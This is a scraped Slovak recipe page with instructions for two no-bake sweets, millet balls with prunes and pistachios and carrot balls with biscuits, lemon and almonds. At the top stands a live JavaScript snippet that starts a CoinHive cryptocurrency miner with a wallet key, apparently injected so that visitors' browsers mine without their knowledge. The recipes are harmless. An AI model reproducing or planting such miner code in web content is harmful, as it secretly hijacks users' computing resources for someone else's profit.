

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Pšenové gulky

Potrebujeme: 1 šálku pšena (uvareného vo vode), 150 g sušených sliviek (rozmixovaných s mandľovým mliekom na kašu), 80 g mletých pistácií (alebo iných orechov), 2 PL kokosu + na obaľovanie, med' podľa potreby

Postup: Všetky suroviny zmiešame a potom tvarujeme gulky, ktoré obaľujeme v kokosovej múčke.

Mrkvové gulky

Potrebujeme: 250 g postrúhanej mrkvy, 100 g podrvených piškót, 1 citrón (šťavu + kôru), 4 PL mletých mandlí, 1-2 PL cukru

Postup: Mrkvu s cukrom udusíme do mäkka a necháme vychladnúť. K vychladnutej mrkve pridáme piškóty, citrónovú kôru a citrónovú šťavu a dobre premiešame. Zo zmesi formujeme gulky, ktoré obalíme v mandliach alebo kokosovej múčke.

